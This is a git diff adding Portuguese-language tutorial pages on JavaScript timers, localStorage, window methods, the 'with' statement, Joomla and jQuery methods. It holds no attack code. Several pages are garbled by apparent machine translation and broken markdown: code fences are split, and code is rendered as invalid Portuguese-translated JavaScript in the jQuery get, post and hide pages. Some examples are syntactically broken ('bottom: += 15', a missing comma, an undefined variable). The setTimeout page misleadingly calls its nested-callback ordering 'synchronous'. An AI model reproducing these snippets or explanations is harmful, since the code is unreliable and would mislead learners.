+Para poder usar o método 'clearInterval ()', você deve usar uma variável global.
+
+```js
+    myID = setInterval(function, milliseconds); 
+```
+
+#### Mais Informações:
+
+Documentação: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval)
+
+Mais alguns exemplos de [escolas](https://www.w3schools.com/jsref/met_win_clearinterval.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-cleartimeout-method/index.md b/client/src/guide/portuguese/javascript/window-cleartimeout-method/index.md
new file mode 100644
index 0000000000..439935afaf
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-cleartimeout-method/index.md
@@ -0,0 +1,23 @@
+---
+title: Window clearTimeout Method
+localeTitle: Método clearTimeout da janela
+---
+## Método clearTimeout da janela
+
+O método 'clearTimeout ()' é usado para parar um temporizador configurado com o método 'setTimeout ()'.
+
+```js
+    clearTimeout(setTimeout_ID); 
+```
+
+Se o método 'clearTimeout ()' for chamado antes de o contador terminar a contagem, o método 'clearTimeout ()' interromperá a execução do método 'setTimeout ()'.
+
+Para poder usar o método 'clearTimeout ()', você deve usar uma variável global. Veja o exemplo abaixo
+
+```js
+    myID = setTimeout(function, milliseconds); 
+```
+
+#### Mais Informações:
+
+Documentação: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-confirm-method/index.md b/client/src/guide/portuguese/javascript/window-confirm-method/index.md
new file mode 100644
index 0000000000..b8963637b6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-confirm-method/index.md
@@ -0,0 +1,21 @@
+---
+title: Window Confirm Method
+localeTitle: Janela Confirmar Método
+---
+## Janela Confirmar Método
+
+Você pode usar o método `confirm` para solicitar que um usuário verifique novamente uma decisão em uma página da web. Quando você chama esse método, o navegador exibirá uma caixa de diálogo com duas opções ao longo das linhas de "OK" e "Cancelar".
+
+Por exemplo, digamos que alguém acabou de clicar em um botão Excluir. Você pode executar o seguinte código:
+
+```javascript
+if (window.confirm("Are you sure you want to delete this item?")) { 
+  // Delete the item 
+ } 
+```
+
+A mensagem "Tem certeza de que deseja excluir este item?" aparecerá na caixa de diálogo. Se o usuário clicar em OK, o método confirm retornará `true` e o navegador executará o código dentro da instrução if. Se ele clicar em Cancelar, o método retornará `false` e nada mais acontecerá. Isso fornece alguma proteção contra alguém acidentalmente clicando em Excluir.
+
+#### Mais Informações:
+
+[Documento MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-localstorage/index.md b/client/src/guide/portuguese/javascript/window-localstorage/index.md
new file mode 100644
index 0000000000..76015ace4c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-localstorage/index.md
@@ -0,0 +1,58 @@
+---
+title: Window.localStorage
+localeTitle: Window.localStorage
+---
+## window.localStorage
+
+`localStorage` fornece uma maneira de seus aplicativos da Web armazenarem dados localmente no navegador do usuário.
+
+Antes do HTML5, os dados do aplicativo precisavam ser armazenados em cookies. Os cookies são incluídos em todas as solicitações HTTP, diminuindo, assim, seu aplicativo da web transmitindo os mesmos dados. Os cookies também estão limitados a cerca de 4 KB de dados que podem não ser suficientes para armazenar os dados necessários.
+
+`localStorage` limite de `localStorage` é maior que o dos cookies com até 10 MB de dados por domínio e as informações nunca são transferidas para o servidor.
+
+### Tipos de localStorage
+
+Existem dois tipos principais de armazenamento na web:
+
+*   Armazenamento local: armazena dados sem data de expiração. Os dados no `localStorage` persistirão mesmo quando o navegador do usuário for fechado e reaberto.
+*   Armazenamento de sessão: é semelhante ao `localStorage` , exceto pelo fato de armazenar dados apenas para uma sessão. Quando o usuário estiver com o navegador fechado, essa sessão será perdida e os dados persistentes serão excluídos do navegador.
+
+### Métodos de armazenamento local HTML5
+
+`localStorage` vem com alguns métodos JavaScript diferentes que facilitam muito o trabalho, vamos ver alguns:
+
+_NB: Esses métodos se aplicam a ambos os tipos de armazenamento da Web (armazenamento local e armazenamento de sessão)_
+
+Para definir dados, precisamos fazer o seguinte:
+
+```javascript
+localStorage.setItem('Name', 'somevalue'); 
+```
+
+Para recuperar alguns dados do armazenamento:
+
+```javascript
+localStorage.getItem('Name'); 
+```
+
+Para remover ou excluir alguns dados, podemos fazer isso:
+
+```javascript
+localStorage.removeItem('Name'); 
+```
+
+Para limpar todo o armazenamento (não apenas um item individual), podemos usar:
+
+```javascript
+localStorage.clear(); 
+```
+
+Para obter o número de propriedades no armazenamento:
+
+```javascript
+localStorage.length; 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-location/index.md b/client/src/guide/portuguese/javascript/window-location/index.md
new file mode 100644
index 0000000000..94c81553c4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-location/index.md
@@ -0,0 +1,24 @@
+---
+title: Window Location
+localeTitle: Localização da janela
+---
+## Localização da janela
+
+O objeto `window.location` pode ser usado para obter informações sobre o endereço da página atual (URL) e para redirecionar o navegador para uma nova página.
+
+O objeto `window.location` pode ser gravado sem o prefixo da `window` , apenas como `location` .
+
+#### Alguns exemplos:
+
+*   `window.location.href` retorna o href (URL) da página atual
+*   `window.location.hostname` retorna o nome do domínio do host
+*   `window.location.host` retorna o nome do host e qualquer porta associada
+*   `window.location.pathname` retorna o caminho e o nome do arquivo da página atual
+*   `window.location.protocol` retorna o protocolo da web usado (http: ou https :)
+*   `window.location.assign()` carrega um novo documento
+
+#### Mais Informações:
+
+[W3C](https://www.w3schools.com/js/js_window_location.asp)
+
+[MDN](https://developer.mozilla.org/docs/Web/API/Window/location)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-open-method/index.md b/client/src/guide/portuguese/javascript/window-open-method/index.md
new file mode 100644
index 0000000000..3eb1936662
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-open-method/index.md
@@ -0,0 +1,38 @@
+---
+title: Window Open Method
+localeTitle: Método Aberto da Janela
+---
+## Método Aberto da Janela
+
+O método Window `open()` pode ser usado para carregar um recurso especificado no contexto de navegação (janela ou guia) com o nome especificado. Se esse nome não existir, uma nova janela será criada e o recurso será carregado em seu contexto.
+
+## Prameters
+
+`url` Um DOMString indicando o recurso a ser carregado. Este pode ser um caminho ou URL para qualquer recurso que seja suportado pelo navegador.
+
+`windowName` Um DOMString especificando o nome do contexto de navegação (janela ou tabulação) no qual o conteúdo será carregado; se o nome não indicar um contexto existente, uma nova janela será criada e receberá o nome especificado por windowName. Esse nome pode ser usado como destino de links e formulários, especificando-o como o atributo de destino.
+
+`windowFeatures` `optional` Um DOMString contendo uma lista separada por vírgula de recursos de janela fornecidos com seus valores correspondentes no formato "name = value". Esses recursos incluem opções como tamanho e posição padrão da janela, etc.
+
+## Sintaxe
+
+```javascript
+  var window =  window.open(url, windowName, [windowFeatures]); 
+```
+
+## Exemplo
+
+```javascript
+var windowObjectReference; 
+ var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; 
+ 
+ function openRequestedPopup() { 
+  windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures); 
+ } 
+```
+
+Se já existir uma janela com o nome, o strURL será carregado na janela existente. Nesse caso, o valor de retorno do método é a janela existente e strWindowFeatures é ignorado.
+
+#### Mais Informações:
+
+[Documento MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-setinterval-method/index.md b/client/src/guide/portuguese/javascript/window-setinterval-method/index.md
new file mode 100644
index 0000000000..3f62ca3b87
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-setinterval-method/index.md
@@ -0,0 +1,34 @@
+---
+title: Window setInterval Method
+localeTitle: Método setInterval da janela
+---
+## Método setInterval da janela
+
+O método `setInterval()` chama uma função ou avalia uma expressão em intervalos especificados (em milissegundos).
+
+```js
+    setInterval(function(){ alert("Hello"); }, 3000); 
+```
+
+O método `setInterval()` continuará chamando a função até que `clearInterval()` seja chamado ou a janela seja fechada.
+
+O método `setInterval()` pode passar parâmetros adicionais para a função, conforme mostrado no exemplo abaixo.
+
+```js
+    setInterval(function, milliseconds, parameter1, parameter2, parameter3); 
+```
+
+O valor de ID retornado por `setInterval()` é usado como o parâmetro para o método `clearInterval()` .
+
+Dicas:
+
+*   1000 ms = 1 segundo.
+*   Para executar uma função apenas uma vez, após um número especificado de milissegundos, use o método `setTimeout()` .
+
+#### Mais Informações:
+
+Documentação: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval)
+
+Exemplos de funções JavaScript setInterval (): [Sitepoint](https://www.sitepoint.com/setinterval-example/)
+
+e mais alguns exemplos: [w3schools](https://www.w3schools.com/jsref/met_win_setinterval.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/window-settimeout-method/index.md b/client/src/guide/portuguese/javascript/window-settimeout-method/index.md
new file mode 100644
index 0000000000..88760a77d6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/window-settimeout-method/index.md
@@ -0,0 +1,59 @@
+---
+title: Window setTimeout Method
+localeTitle: Método setTimeout da janela
+---
+## Método setTimeout da janela
+
+O método `setTimeout()` chama uma função ou avalia uma expressão após um número especificado de milissegundos.
+
+Dicas:
+
+*   1000 ms = 1 segundo.
+*   A função é executada apenas uma vez. Se você precisar repetir a execução, use o método `setInterval()` .
+*   Use o método `clearTimeout()` para impedir que a função seja executada.
+
+A sintaxe do método `setTimout()` é a seguinte:
+
+```js
+setTimeout(function, milliseconds, param1, param2, ...); 
+```
+
+Por exemplo:
+
+```js
+setTimeout(function(){ alert("Hello"); }, 3000); 
+```
+
+Uma coisa muito importante sobre o `setTimeout()` é que ele será executado de forma assíncrona. Vamos dar um exemplo:
+
+```js
+console.log("A"); 
+ setTimeout(function(){ console.log("B"); }, 0); 
+ console.log("C"); 
+ // The order in the console will be 
+ // A 
+ // C 
+ // B 
+```
+
+**Não como exepected! Mas especificamos apenas 0 segundos !!!** Para resolver este problema e ter certeza de que nosso código será executado de forma síncrona, temos apenas que aninhar o último console na função.
+
+```js
+console.log("A"); 
+ setTimeout(function() { 
+    console.log("B"); 
+    console.log("C"); 
+ }, 0); 
+ // The order in the console will be 
+ // A 
+ // B 
+ // C 
+```
+
+#### Mais Informações:
+
+Documentação: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)
+
+Mais exemplos da função setTimeout: [w3schools](https://www.w3schools.com/jsref/met_win_settimeout.asp)
+
+Para entender o que realmente acontece sob o capô, assista a este incrível vídeo [Philip Roberts: O que diabos é o evento loop de qualquer maneira? | JSConf EU 2014](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/with/index.md b/client/src/guide/portuguese/javascript/with/index.md
new file mode 100644
index 0000000000..804f1c8d66
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/with/index.md
@@ -0,0 +1,75 @@
+---
+title: With
+localeTitle: Com
+---
+## Com
+
+JavaScript `with` instrução é uma forma abreviada de editar várias propriedades em um objeto. A maioria dos desenvolvedores desencorajar o uso de `with` , e você é melhor não usar esta palavra-chave.
+
+**Nota** : `"strict mode"` proíbe o uso de `with` .
+
+### Sintaxe
+
+```syntax
+with (expression) 
+  statement 
+```
+
+### Exemplo de uso
+
+Em JavaScript, você pode modificar individualmente as propriedades de um objeto, como abaixo:
+
+```javascript
+let earth = {}; 
+ earth.moons = 1; 
+ earth.continents = 7; 
+```
+
+`with` lhe dá uma abreviação para modificar as propriedades em um objeto:
+
+```javascript
+with (earth) { 
+  moons = 1; 
+  continents = 7; 
+ } 
+```
+
+Enquanto este exemplo é inventado, você pode entender casos de uso `with` mais se você tiver objetos maiores como abaixo:
+
+```javascript
+earth.continents.australia.geography.ocean = "Pacific"; 
+ earth.continents.australia.geography.river = "Murray"; 
+ earth.continents.australia.geography.mountain = "Kosciuszko"; 
+```
+
+### Alternativas
+
+Você não deve usar `with` , pois tem erros sutis e problemas de compatibilidade. Uma abordagem altamente recomendada é atribuir o objeto a uma variável e, em seguida, modificar as propriedades da variável. Aqui está um exemplo usando um objeto maior:
+
+```javascript
+let earth = { 
+  continents: { 
+    australia: { 
+      geography: {} 
+    } 
+  } 
+ }; 
+ 
+ let geo = earth.continents.australia.geography; 
+ 
+ geo.ocean = "Pacific"; 
+ geo.river = "Murray"; 
+ geo.mountain = "Kosciuszko"; 
+```
+
+### Experimente
+
+https://repl.it/Mixg/5
+
+#### Mais Informações:
+
+[https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Statements/with](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with)
+
+[https://yuiblog.com/blog/2006/04/11/with-statement-considered-harmful/](https://yuiblog.com/blog/2006/04/11/with-statement-considered-harmful/)
+
+[http://2ality.com/2011/06/with-statement.html](http://2ality.com/2011/06/with-statement.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/joomla/index.md b/client/src/guide/portuguese/joomla/index.md
new file mode 100644
index 0000000000..de28f739ad
--- /dev/null
+++ b/client/src/guide/portuguese/joomla/index.md
@@ -0,0 +1,15 @@
+---
+title: Joomla
+localeTitle: Joomla
+---
+# Joomla
+
+Joomla! é um sistema de gerenciamento de conteúdo (CMS) gratuito e de código aberto criado com base em uma estrutura de aplicativo da Web controlador de exibição de modelo que pode ser usada independentemente do CMS. É desenvolvido pela Open Source Matters, Inc.
+
+Joomla! é escrito em programação orientada a objetos (OOP) PHP. Pode armazenar dados no banco de dados MySQL, PostgreSQL ou MS SQL. Os recursos incluem cachê de página, feeds RSS, versões para impressão de páginas, flashes de notícias, blogs, pesquisa e suporte para internacionalização de idiomas.
+
+### Mais Informações
+
+[Documentação Joomla: manual comunitário colaborativo online](https://docs.joomla.org/)
+
+[Joomla! Portal de desenvolvedores](https://docs.joomla.org/Portal:Developers)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/index.md b/client/src/guide/portuguese/jquery/index.md
new file mode 100644
index 0000000000..997cc740f7
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/index.md
@@ -0,0 +1,31 @@
+---
+title: jQuery
+localeTitle: jQuery
+---
+## jQuery
+
+![logo](https://upload.wikimedia.org/wikipedia/en/thumb/9/9e/JQuery_logo.svg/250px-JQuery_logo.svg.png "logo jQuery")
+
+O jQuery é a biblioteca JavaScript mais usada e é usada em mais da metade dos principais sites.
+
+O jQuery torna o desenvolvimento da web mais fácil de usar, fornecendo diversas funções 'auxiliares'. Eles ajudam os desenvolvedores a escrever rapidamente as interações do DOM (Document Object Model) sem precisar escrever manualmente o próprio JavaScript.
+
+O jQuery adiciona uma variável global com todos os métodos de bibliotecas anexados. A convenção de nomenclatura é ter essa variável global como `$` . digitando `$.` você tem todos os métodos do jQuery à sua disposição.
+
+## Exemplo
+
+Quando um usuário clica em um botão, todos
+
+elementos serão escondidos:
+
+```javascript
+$(document).ready(function(){ 
+    $("button").click(function(){ 
+        $("p").hide(); 
+    }); 
+ }); 
+```
+
+#### Mais Informações
+
+*   [Página inicial do jQuery](https://jquery.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-ajax-get-method/index.md b/client/src/guide/portuguese/jquery/jquery-ajax-get-method/index.md
new file mode 100644
index 0000000000..90054dd9c8
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-ajax-get-method/index.md
@@ -0,0 +1,47 @@
+---
+title: jQuery Ajax Get Method
+localeTitle: jQuery Ajax Get Method
+---
+## jQuery Ajax Get Method
+
+Envia uma solicitação HTTP GET assíncrona para carregar dados do servidor. Sua forma geral é:
+
+```javascript
+jQuery.get( url [, data ] [, success ] [, dataType ] ) 
+```
+
+*   `url` : o único parâmetro obrigatório. Esta cadeia contém o endereço para o qual enviar o pedido. Os dados retornados serão ignorados se nenhum outro parâmetro for especificado.
+*   `data` : Um objeto simples ou uma string enviada ao servidor com o pedido.
+*   `success` : uma função de retorno de chamada executada se a solicitação for bem-sucedida. Leva como um argumento os dados retornados. Também é passado o status de texto da resposta.
+*   `dataType` : o tipo de dados esperado do servidor. O padrão é o Intelligent Guess (xml, json, script, texto, html). Se esse parâmetro for fornecido, o retorno de chamada bem-sucedido também deverá ser fornecido.
+
+#### Exemplos
+
+Solicite `resource.json` do servidor, envie dados adicionais e ignore o resultado retornado: \`\` \`javascript $ .get ('http://example.com/resource.json', {category: 'client', tipo: 'premium'});
+```
+Request `resource.json` from the server, send additional data, and handle the returned response (json format): 
+ ```javascript 
+ $.get('http://example.com/resource.json', {category:'client', type:'premium'}, function(response) { 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+```
+
+O exemplo acima também pode ser escrito como: \`\` \`javascript $ .get ('http://example.com/resource.json', {category: 'client', tipo: 'premium'}) .done (função (resposta) { alerta ("sucesso"); $ ("# mypar"). html (response.amount); });
+```
+### jQuery.ajax() 
+ `$.get( url [, data ] [, success ] [, dataType ] )` is a shorthand Ajax function, equivalent to: 
+ ```javascript 
+ $.ajax({ 
+      url: url, 
+      data: data, 
+      success: success, 
+      dataType: dataType 
+ }); 
+```
+
+`$.ajax()` fornece muitas opções adicionais, todas localizadas [aqui](http://api.jquery.com/jquery.ajax/) .
+
+#### Mais Informações:
+
+Para mais informações, visite o [site oficial do jQuery.get](https://api.jquery.com/jquery.get/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-ajax-post-method/index.md b/client/src/guide/portuguese/jquery/jquery-ajax-post-method/index.md
new file mode 100644
index 0000000000..4296272131
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-ajax-post-method/index.md
@@ -0,0 +1,67 @@
+---
+title: jQuery Ajax Post Method
+localeTitle: jQuery Ajax Post Method
+---
+## jQuery Ajax Post Method
+
+Envia uma solicitação HTTP POST assíncrona para carregar dados do servidor. Sua forma geral é:
+
+```javascript
+jQuery.post( url [, data ] [, success ] [, dataType ] ) 
+```
+
+*   url: é o único parâmetro obrigatório. Esta cadeia contém o endereço para o qual enviar o pedido. Os dados retornados serão ignorados se nenhum outro parâmetro for especificado
+*   data: um objeto simples ou uma string que é enviada ao servidor com a solicitação.
+*   success: Uma função de retorno de chamada que é executada se a solicitação for bem-sucedida. Ela usa como argumento os dados retornados. Também é passado o status de texto da resposta.
+*   dataType: o tipo de dados esperado do servidor. O padrão é o Intelligent Guess (xml, json, script, texto, html). Se esse parâmetro for fornecido, o retorno de chamada bem-sucedido também deverá ser fornecido.
+
+#### Exemplos
+
+```javascript
+$.post('http://example.com/form.php', {category:'client', type:'premium'}); 
+```
+
+solicita `form.php` do servidor, enviando dados adicionais e ignorando o resultado retornado
+
+```javascript
+$.post('http://example.com/form.php', {category:'client', type:'premium'}, function(response){ 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+```
+
+solicita `form.php` do servidor, enviando dados adicionais e manipulando a resposta retornada (formato json). Este exemplo pode ser escrito neste formato:
+
+```javascript
+$.post('http://example.com/form.php', {category:'client', type:'premium'}).done(function(response){ 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+```
+
+O exemplo a seguir publica um formulário usando o Ajax e coloca os resultados em um div \`\` \`html  demo jQuery.post 
+
+ 
+
+// Attach a submit handler to the form $( "#searchForm" ).submit(function( event ) { // Stop form from submitting normally event.preventDefault(); // Get some values from elements on the page: var $form = $( this ), term = $form.find( "input\[name='s'\]" ).val(), url = $form.attr( "action" ); // Send the data using post var posting = $.post( url, { s: term } ); // Put the results in a div posting.done(function( data ) { var content = $( data ).find( "#content" ); $( "#result" ).empty().append( content ); }); });
+```
+The following example use the github api to fetch the list of repositories  of a user  using jQuery.ajax() and put results in a div 
+```
+
+html 
+
+ 
+
+// Attach a submit handler to the form $( "#userForm" ).submit(function( event ) { // Stop form from submitting normally event.preventDefault(); // Get some values from elements on the page: var $form = $( this ), username = $form.find( "input\[name='username'\]" ).val(), url = "https://api.github.com/users/"+username+"/repos"; // Send the data using post var posting = $.post( url, { s: term } ); //Ajax Function to send a get request $.ajax({ type: "GET", url: url, dataType:"jsonp" success: function(response){ //if request if made successfully then the response represent the data $( "#result" ).empty().append( response ); } }); });
+```
+### jQuery.ajax() 
+ `$.post( url [, data ] [, success ] [, dataType ] )` is a shorthand Ajax function, equivalent to: 
+```
+
+javascript $ .ajax ({ tipo: "POST", url: url, dados: dados, sucesso: sucesso, dataType: dataType }); \`\` \`
+
+`$.ajax()` fornece muito mais opções que podem ser encontradas [aqui](http://api.jquery.com/jquery.ajax/)
+
+#### Mais Informações:
+
+Para mais informações, por favor visite o [site oficial](https://api.jquery.com/jquery.post/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-animate/index.md b/client/src/guide/portuguese/jquery/jquery-animate/index.md
new file mode 100644
index 0000000000..90763b9e7d
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-animate/index.md
@@ -0,0 +1,30 @@
+---
+title: jQuery Animate
+localeTitle: jQuery Animate
+---
+## jQuery Animate
+
+O método de animação do jQuery facilita a criação de animações simples, usando apenas algumas linhas de código. A estrutura básica é a seguinte:
+
+```javascript
+$(".selector").animate(properties, duration, callbackFunction()); 
+```
+
+Para o argumento de `properties` você precisa passar um objeto javascript, com as propriedades CSS que deseja animar como chaves, e os valores que deseja animar como valores. Enquanto `duration` você precisa inserir a quantidade de tempo em milissegundos que a animação deve receber. O `callbackFunction()` é executado assim que a animação termina.
+
+### Exemplo
+
+Um exemplo simples ficaria assim:
+
+```javascript
+$(".awesome-animation").animate({ 
+    opacity: 1, 
+    bottom: += 15 
+ }, 1000, function() { 
+    $(".different-element").hide(); 
+ }); 
+```
+
+#### Mais Informações:
+
+Para mais informações, por favor visite o [site oficial](http://api.jquery.com/animate/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-click-method/index.md b/client/src/guide/portuguese/jquery/jquery-click-method/index.md
new file mode 100644
index 0000000000..4a5e933d38
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-click-method/index.md
@@ -0,0 +1,102 @@
+---
+title: Click Method
+localeTitle: Clique em Método
+---
+# Clique em Método
+
+O método jQuery Click aciona uma função quando um elemento é clicado. A função é conhecida como "manipulador", pois manipula o evento click. Funções podem impactam o elemento HTML que está vinculado ao clique usando o método jQuery Click ou podem alterar algo totalmente. A forma mais utilizada é:
+
+```javascript
+$("#clickMe").click(handler) 
+```
+
+O método click usa a função handler como argumento e a executa toda vez que o elemento `#clickMe` é clicado. A função de manipulador recebe um parâmetro conhecido como [eventObject](http://api.jquery.com/Types/#Event) que pode ser útil para controlar a ação.
+
+#### Exemplos
+
+Este código mostra um alerta quando um usuário clica em um botão:
+
+```html
+
+<button id="alert">Click Here</button> 
+```
+
+```javascript
+$("#alert").click(function () { 
+  alert("Hi! I'm an alert"); 
+ }); 
+```
+
+[jsFiddle](https://jsfiddle.net/pL63cL6m/)
+
+O [eventObject](http://api.jquery.com/Types/#Event) tem alguns métodos integrados, incluindo o `preventDefault()` , que faz exatamente o que ele diz - pára o evento padrão de um elemento. Aqui, impedimos que a tag âncora atue como um link:
+
+```html
+
+<a id="myLink" href="www.google.com">Link to Google</a> 
+```
+
+```javascript
+$("#myLink").click(function (event) { 
+  event.preventDefault(); 
+ }); 
+```
+
+[jsFiddle](https://jsfiddle.net/dy457gbh/)
+
+#### Mais maneiras de jogar com o método de clique
+
+A função de manipulador também pode aceitar dados adicionais na forma de um objeto:
+
+```javascript
+jqueryElement.click(usefulInfo, handler) 
+```
+
+Os dados podem ser de qualquer tipo.
+
+```javascript
+$("element").click({firstWord: "Hello", secondWord: "World"}, function(event){ 
+    alert(event.data.firstWord); 
+    alert(event.data.secondWord); 
+ }); 
+```
+
+Invocar o método de clique sem uma função de manipulador aciona um evento de clique:
+
+```javascript
+$("#alert").click(function () { 
+  alert("Hi! I'm an alert"); 
+ }); 
+ 
+ $("#alert").click(); 
+```
+
+Agora, sempre que a página for carregada, o evento de clique será acionado quando inserirmos ou recarregarmos a página e mostrarmos o alerta atribuído.
+
+Além disso, você deve preferir usar .on ('click',…) sobre .click (…) porque o primeiro pode usar menos memória e trabalhar para elementos adicionados dinamicamente.
+
+[jsFiddle](https://jsfiddle.net/gspk6gxt/)
+
+#### Erros comuns
+
+O evento click só é vinculado a elementos atualmente no DOM no momento da vinculação, portanto, todos os elementos adicionados posteriormente não serão vinculados. Para ligar todos elementos no DOM, mesmo se forem criados mais tarde, use o método `.on()` .
+
+Por exemplo, este exemplo de método de clique:
+
+```javascript
+$( "element" ).click(function() { 
+  alert("I've been clicked!"); 
+ }); 
+```
+
+Pode ser alterado para isso no exemplo do método:
+
+```javascript
+$( document ).on("click", "element", function() { 
+  alert("I've been clicked!"); 
+ }); 
+```
+
+#### Mais Informações:
+
+Para mais informações, por favor visite o [site oficial](https://api.jquery.com/click/#click) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-css-method/index.md b/client/src/guide/portuguese/jquery/jquery-css-method/index.md
new file mode 100644
index 0000000000..cd05d4346f
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-css-method/index.md
@@ -0,0 +1,58 @@
+---
+title: CSS Method
+localeTitle: Método CSS
+---
+## Método CSS
+
+O método jQuery `.css()` obtém o valor de uma propriedade de estilo calculado para o primeiro elemento no conjunto de elementos correspondentes ou define uma ou mais propriedades CSS para cada elemento correspondente.
+
+### Obtendo
+
+Para retornar o valor de uma propriedade CSS especificada, use a seguinte sintaxe:
+
+```js
+    $(selector).css(propertyName); 
+```
+
+Por exemplo:
+
+```js
+    $('#element').css('background'); 
+```
+
+Nota: Aqui podemos usar qualquer seletor de css, por exemplo: element (seletor de tags HTML), .element (Class Selector), #element (seletor de ID).
+
+### Configuração
+
+Para definir uma propriedade CSS especificada, use a seguinte sintaxe:
+
+```js
+    $(selector).css(propertyName,value); 
+```
+
+Por exemplo:
+
+```js
+    $('#element').css('background','red'); 
+```
+
+Para definir várias propriedades CSS, você terá que usar a sintaxe literal do objeto como esta:
+
+```js
+    $('#element').css({ 
+        'background': 'gray', 
+        'color': 'white' 
+    }); 
+```
+
+Se você quiser alterar uma propriedade rotulada com mais de uma palavra, consulte este exemplo:
+
+Para alterar `background-color` de `background-color` de um elemento
+
+```js
+    $('#element').css('background-color', 'gray'); 
+```
+
+#### Mais Informações:
+
+Documentação: [api.jquery](http://api.jquery.com/css/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-effects-hide-method/index.md b/client/src/guide/portuguese/jquery/jquery-effects-hide-method/index.md
new file mode 100644
index 0000000000..a4d09f9297
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-effects-hide-method/index.md
@@ -0,0 +1,56 @@
+---
+title: jQuery Effects Hide Method
+localeTitle: jQuery Effects Hide Method
+---
+## jQuery Hide Method
+
+Em sua forma mais simples, **.hide ()** oculta o elemento correspondente imediatamente, sem animação. Por exemplo:
+
+```javascript
+$(".myclass").hide() 
+```
+
+irá esconder todos os elementos cuja classe é _myclass_ . Qualquer seletor jQuery pode ser usado.
+
+### .hide () como um método de animação
+
+Graças às suas opções, **.hide ()** pode animar a largura, a altura e a opacidade dos elementos correspondentes simultaneamente.
+
+*   A duração pode ser fornecida em milissegundos ou usando os literais lentos (600 ms) e rápidos (200ms). por exemplo:
+
+```javascript
+$("#myobject").hide(800) 
+```
+
+*   Uma função pode ser especificada para ser chamada assim que a animação estiver completa, uma vez por cada elemento correspondente. Este retorno de chamada é principalmente útil para encadear diferentes animações. Por exemplo
+
+```javascript
+$("p").hide( "slow", function() { 
+      $(".titles").hide("fast"); 
+      alert("No more text!"); 
+ }); 
+  ``` 
+ * More options exist, please refer to the official website for further details. 
+ 
+ ### .toggle() method 
+ 
+ To show / hide elements you can use ```toggle()``` method. If element is hidden ```toggle()``` will show it and vice versa. 
+ Usage: 
+```
+
+javascript $ (". myclass"). toggle () \`\` \`
+
+### método .slideDown ()
+
+Este método anima a altura dos elementos correspondentes. Isso faz com que partes inferiores da página deslizem para baixo, abrindo caminho para os itens revelados. Uso:
+
+```javascript
+$(".myclass").slideDown(); //will expand the element with the identifier myclass for 400 ms. 
+ $(".myclass").slideDown(1000); //will expand the element with the identifier myclass for 1000 ms. 
+ $(".myclass").slideDown("slow"); //will expand the element with the identifier myclass for 600 ms. 
+ $(".myclass").slideDown("fast"); //will expand the element with the identifier myclass for 200 ms. 
+```
+
+#### Mais Informações:
+
+JQuery hide () método no [site oficial](http://api.jquery.com/hide/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-effects-show-method/index.md b/client/src/guide/portuguese/jquery/jquery-effects-show-method/index.md
new file mode 100644
index 0000000000..570cc829d1
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-effects-show-method/index.md
@@ -0,0 +1,45 @@
+---
+title: jQuery Effects Show Method
+localeTitle: jQuery Effects Show Method
+---
+## jQuery Effects Show Method
+
+Em sua forma mais simples, o **.show ()** exibe o elemento correspondente imediatamente, sem animação. Por exemplo:
+
+```javascript
+$(".myclass").show(); 
+```
+
+mostrará todos os elementos cuja classe é _myclass_ . Qualquer seletor jQuery pode ser usado.
+
+No entanto, esse método não substitui `!important` no estilo CSS, como `display: none !important` .
+
+### .show () como um método de animação
+
+Graças às suas opções, o **.show ()** pode animar a largura, a altura e a opacidade dos elementos correspondentes simultaneamente.
+
